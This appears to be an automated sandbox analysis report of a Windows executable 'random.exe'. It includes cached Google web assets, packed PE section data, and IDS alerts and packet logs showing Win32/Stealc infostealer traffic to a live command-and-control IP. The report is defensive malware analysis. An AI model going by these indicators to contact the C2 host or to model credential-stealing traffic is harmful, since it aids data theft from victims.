Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Qi=function(a){if(4&a)return 2048&a?2048:4096&a?4096:0};_.Ri=class extends _.P{constructor(a){super(a)}};.}catch(e){_._DumpException(e)}.try{.var Si,Vi,Wi,Yi,Zi,bj;Si=function(){return typeof BigInt==="function"};Vi=function(a){const b=a>>>0;_.Ti=b;_.Ui=(a-b)/4294967296>>>0};Wi=function(a,b){b=~b;a?a=~a+1:b+=1;return[a,b]};_.Xi=function(a){if(a<0){Vi(-a);const [b,c]=Wi(_.Ti,_.Ui);_.Ti=b>>>0;_.Ui=c>>>0}else Vi(a)};Yi=function(a){a=String(a);return"0000000".slice(a.length)+a};.Zi=function(a,b){b>>>=0;a>>>=0;if(b<=2097151)var c=""+(4294967296b+a);else Si()?c=""+(BigInt(b)<<BigInt(32)\|BigInt(a)):(c=(a>>>24\|b<<8)&16777215,b=b>>16&65535,a=(a&16777215)+c6777216+b6710656,c+=b8147497,b*=2,a>=1E7&&(c+=a/1E7>>>0,a%=1E7),c>=1E7&&(b+=c/1E7>>>0,c%=1E7),c=b+Yi(c)+Yi(a));return c};_.$i=function(a,b){if(b&2147483648)if(Si())a=""+(BigInt(b\|0)<<BigInt(32)\|BigInt(a>>>0));else{const [c,d]=Wi(a,b);a="-"+Zi(c,d)}else a=Zi(a,b);return a};._.aj

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3553)
Category:	downloaded
Size (bytes):	3558
Entropy (8bit):	5.848694529120103
Encrypted:	false
SSDEEP:	96:PUdZliRH6666aqzdZb732DyLUkclUG9nv/3InuiVsQffffo:UIH6666jzLfqyLUkclUG9n3YJE
MD5:	286A84740AD5CB272CF320098E2BD82C
SHA1:	A137EA6627E6A65B26AAFE39644584FC940CD5EA
SHA-256:	33236644A44076798BF857572B18FC4FCAC0E44770C262D5EC7DA03BCB0CE5E8
SHA-512:	E00A0B843A1418F5138F75E9B85E5EA1BCE7722FC44B8437EC762B4BB511C94F088D12AC2613CEF9F0ADA2A3EBAF427A742C2EBFFEDCA2D3D29B6C8E85829915
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["usps first class mail delivery changes","monster hunter hunter wilds","nyt strands hints","anthony knox wrestling nj","maine weekend snow frigid temperatures","spacex starship flight 8 launch","pepsico frito lay layoffs plant closure","new shrek movie animation"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"google:entityinfo":"Cg0vZy8xMXkyY2x2NGZ2EgpWaWRlbyBnYW1lMscOZGF0YTppbWFnZS9qcGVnO2Jhc2U2NCwvOWovNEFBUVNrWkpSZ0FCQVFBQUFRQUJBQUQvMndDRUFBa0dCd2dIQmdrSUJ3Z0tDZ2tMRFJZUERRd01EUnNVRlJBV0lCMGlJaUFkSHg4a0tEUXNKQ1l4Sng4ZkxUMHRNVFUzT2pvNkl5cy9SRDg0UXpRNU9qY0JDZ29LRFF3TkdnOFBHamNsSHlVM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOLy9BQUJFSUFFQUFLZ01CRVFBQ0VRRURFUUgveEFBYkFBRUJBUUFDQXdBQUFBQUFBQUFBQUFBRkJBTUFCZ0VDQi8vRUFDOFFBQUlCQXdNREFnVUNCd0FBQUFBQUFBRUNBd1FSSVFBRkVqRkJVUk5oQmlKeGdhRVVRaU15WXBHeHdmSC94QUFaQV

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1437)
Category:	downloaded
Size (bytes):	117390
Entropy (8bit):	5.490758436358278
Encrypted:	false
SSDEEP:	3072:jMyvhJyj1UjPEWKcxUww3wM0W/N79419n5QJEx:jMyfyj1cPPC70W/Na5QJEx
MD5:	B52266FAD5115039E3806FF8DCD71F86
SHA1:	8007278E322C8EA9F3CB5B62008E3E3599E9F659
SHA-256:	E390D05D78F6E51B03F7C3D1D0C3B7C3E79B3D53C4F83685CFAD83D2E863456E
SHA-512:	58293A89F48926A7059F6C91AA79EBD941072D3BC31AA571342ABA76F007981750620F960CCB59E9E3C828FC8E1748B500E3138381D82EF8A171AD7C60F5C5FC
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.uiLLJjqnhCQ.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo8NP2y291iiPDmfAN0GV3dvCuqlYA/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([]);.var aa,ea,la,oa,ya,Ba,Ca;aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.la=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.na=la(this);oa=function(a,b){if(b)a:{var c=_.na;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.oa("Symbol",function(a){if(a)return a;var b

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	131884
Entropy (8bit):	5.437154861347422
Encrypted:	false
SSDEEP:	3072:M+lkpdEfMtgFRpEyL5afGzHWs5Qh/6z6x0zW:j8dEK6RpEyL5afGzHz5Qh/46AW
MD5:	6455AB0239092BE0EEA483BFE74B414C
SHA1:	72D24E5863C1C31A2210613FF1887B1F6C3643F5
SHA-256:	634AD30066D9C5892C8B67B6A57ADDAEADA682C5C4381BC50A22152EF81AA6B0
SHA-512:	69BCA287B62777AD9C575193C62431973CF10EF56F9EA77802546777B4B304ACD6333BD787699D0E5028633EF9239CA66B6A3DD39B6B557BF93A4488587D04A5
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Fa gb_2d gb_Pe gb_rd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Qd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_ld gb_pd gb_Hd gb_md\"\u003e\u003cdiv class\u003d\"gb_xd gb_sd\"\u003e\u003cdiv class\u003d\"gb_Kc gb_R\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Kc gb_Nc gb_R\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.349865760247148
Encrypted:	false
SSDEEP:	96:mtOTUb1db1ClNY5co7shdiUYVqig7O7aZCUgpgXEt94k+g8IHh8u928DoCLQ:mtOT8TfL1Vqig7mIg8IB8u88DA
MD5:	70A8F21806E7F1B739937970EBE49A0C
SHA1:	6BE9EEBCE438DE91FEB20E6A5458774B327AA9B4
SHA-256:	C8B531CFD6E9BE13762E289820F67406331303CD5111A885DE959BF83DD0F5AC
SHA-512:	3C055567D0ED53BD30773C0BE475DC7499E44AFB92FB05021029D9A0C1299A470CDD3A8CACCCF798D5345ED627C5836E9DF5955A120FE56BA3624EC76A673270
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.D8RxnyMyyQs.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTvC8e7dUykGaYWUlzibNdiq-UYo6g"
Preview:	.gb_Q{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ka{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_La{fill:#f9ab00}.gb_H .gb_La{fill:#fdd663}.gb_Ma>.gb_La{fill:#d93025}.gb_H .gb_Ma>.gb_La{fill:#f28b82}.gb_Ma>.gb_Na{fill:white}.gb_Na,.gb_H .gb_Ma>.gb_Na{fill:#202124}.gb_Oa{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.945366442700199
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	random.exe
File size:	1'824'256 bytes
MD5:	3891efe6cb01a588bd357679daed42f2
SHA1:	a323dd6222ffc317a392459b12b8445a54825241
SHA256:	c77e120dcf9aba1916abd916ee43658deef36e7003e4f74d2f0bf429deffe2f9
SHA512:	10a6a6931ce51ff03da221a84c66e6ae3c1212b9da06da166e401617f1b6ec01a54f770a6569a5ca4fbdc84afa04fc15ede38346de3b17ac1083d40d664f9860
SSDEEP:	49152:HqweUcPuwt0lvKOyLFTJ4DgpcTdLtkmBAucvBatrRV:/eUcPuQLFFX6rDcvBatr
TLSH:	078533C2B83129B7E3244BB161E756853AB956D3C6E08ADF7308102D0E7B7C258E6DD7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d...d...d.....s.\|.....F.i.....r.^...m.[.g...m.K.b.......g...d.........w.w.....E.e...Richd...........PE..L...@=.g...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xa9d000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67C23D40 [Fri Feb 28 22:48:32 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F8A48E6F45Ah
lfs ebx, dword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax-2Eh], ah
xchg eax, ebx
push cs

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x38c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16800	e76a67a91cf1e51fbdee9600e572781d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x38c	0x400	c026494beca3862c78dfd3180366f792	False	0.5185546875	data	4.4310809572000736	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2ad000	0x200	61db262d0ac6459b7c06c3b27bda2a49	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
emokxepa	0x4f9000	0x1a3000	0x1a3000	3d009c187e84b941a741c6b522435768	False	0.994839251752685	data	7.954635503581781	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
zgdjjrtn	0x69c000	0x1000	0x400	a1ec3f42668e9508cd8a572e61e8900b	False	0.8125	data	6.310118199290993	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x69d000	0x3000	0x2200	2a911fe8c1c0b600c4136291e4d1c0e5	False	0.09432444852941177	DOS executable (COM)	1.1851775781890814	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69bcc8	0x333	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5079365079365079

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-03-01T16:02:20.464112+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49710	45.93.20.28	80	TCP
2025-03-01T16:02:20.694003+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49710	45.93.20.28	80	TCP
2025-03-01T16:02:20.700711+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	45.93.20.28	80	192.168.2.6	49710	TCP
2025-03-01T16:02:20.924600+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49710	45.93.20.28	80	TCP
2025-03-01T16:02:20.932393+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	45.93.20.28	80	192.168.2.6	49710	TCP
2025-03-01T16:02:21.956339+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49710	45.93.20.28	80	TCP
2025-03-01T16:02:22.407300+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49710	45.93.20.28	80	TCP
2025-03-01T16:02:46.391053+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49875	45.93.20.28	80	TCP
2025-03-01T16:02:47.867253+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49875	45.93.20.28	80	TCP
2025-03-01T16:02:48.559659+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49875	45.93.20.28	80	TCP
2025-03-01T16:02:49.102822+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49875	45.93.20.28	80	TCP
2025-03-01T16:02:50.808644+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49875	45.93.20.28	80	TCP
2025-03-01T16:02:51.248255+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49875	45.93.20.28	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 1, 2025 16:02:10.103775024 CET	49674	443	192.168.2.6	173.222.162.64
Mar 1, 2025 16:02:10.103773117 CET	49673	443	192.168.2.6	173.222.162.64
Mar 1, 2025 16:02:10.400659084 CET	49672	443	192.168.2.6	173.222.162.64
Mar 1, 2025 16:02:17.050071955 CET	49709	443	192.168.2.6	40.113.110.67
Mar 1, 2025 16:02:17.050124884 CET	443	49709	40.113.110.67	192.168.2.6
Mar 1, 2025 16:02:17.050237894 CET	49709	443	192.168.2.6	40.113.110.67
Mar 1, 2025 16:02:17.050942898 CET	49709	443	192.168.2.6	40.113.110.67
Mar 1, 2025 16:02:17.050957918 CET	443	49709	40.113.110.67	192.168.2.6
Mar 1, 2025 16:02:17.847556114 CET	443	49709	40.113.110.67	192.168.2.6
Mar 1, 2025 16:02:17.847655058 CET	49709	443	192.168.2.6	40.113.110.67
Mar 1, 2025 16:02:17.852756023 CET	49709	443	192.168.2.6	40.113.110.67
Mar 1, 2025 16:02:17.852767944 CET	443	49709	40.113.110.67	192.168.2.6
Mar 1, 2025 16:02:17.853085041 CET	443	49709	40.113.110.67	192.168.2.6
Mar 1, 2025 16:02:17.854924917 CET	49709	443	192.168.2.6	40.113.110.67
Mar 1, 2025 16:02:17.854924917 CET	49709	443	192.168.2.6	40.113.110.67
Mar 1, 2025 16:02:17.854960918 CET	443	49709	40.113.110.67	192.168.2.6
Mar 1, 2025 16:02:17.855093002 CET	49709	443	192.168.2.6	40.113.110.67
Mar 1, 2025 16:02:17.899326086 CET	443	49709	40.113.110.67	192.168.2.6
Mar 1, 2025 16:02:18.025439024 CET	443	49709	40.113.110.67	192.168.2.6
Mar 1, 2025 16:02:18.025526047 CET	443	49709	40.113.110.67	192.168.2.6
Mar 1, 2025 16:02:18.025764942 CET	49709	443	192.168.2.6	40.113.110.67
Mar 1, 2025 16:02:18.025764942 CET	49709	443	192.168.2.6	40.113.110.67
Mar 1, 2025 16:02:18.338095903 CET	49709	443	192.168.2.6	40.113.110.67
Mar 1, 2025 16:02:18.338124037 CET	443	49709	40.113.110.67	192.168.2.6
Mar 1, 2025 16:02:19.427917004 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:19.433159113 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:19.433248997 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:19.437845945 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:19.442888975 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:19.713140965 CET	49674	443	192.168.2.6	173.222.162.64
Mar 1, 2025 16:02:19.713144064 CET	49673	443	192.168.2.6	173.222.162.64
Mar 1, 2025 16:02:20.010023117 CET	49672	443	192.168.2.6	173.222.162.64
Mar 1, 2025 16:02:20.153712988 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:20.153774977 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:20.192955971 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:20.198067904 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:20.464040995 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:20.464112043 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:20.465384960 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:20.470518112 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:20.693886042 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:20.693916082 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:20.694003105 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:20.695591927 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:20.700711012 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:20.924459934 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:20.924484015 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:20.924506903 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:20.924519062 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:20.924530983 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:20.924599886 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:20.924622059 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:20.924637079 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:20.924649000 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:20.924658060 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:20.924673080 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:20.924689054 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:20.927337885 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:20.932393074 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:21.155261040 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:21.155359030 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:21.172460079 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:21.172513962 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:21.177660942 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:21.177678108 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:21.177687883 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:21.177697897 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:21.177830935 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:21.177840948 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:21.652939081 CET	443	49705	173.222.162.64	192.168.2.6
Mar 1, 2025 16:02:21.654289007 CET	49705	443	192.168.2.6	173.222.162.64
Mar 1, 2025 16:02:21.956264019 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:21.956338882 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.181411982 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.186534882 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.407125950 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.407147884 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.407161951 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.407172918 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.407186985 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.407196999 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.407207966 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.407222033 CET	80	49710	45.93.20.28	192.168.2.6
Mar 1, 2025 16:02:22.407299995 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.407347918 CET	49710	80	192.168.2.6	45.93.20.28
Mar 1, 2025 16:02:22.407387018 CET	80	49710	45.93.20.28	192.168.2.6
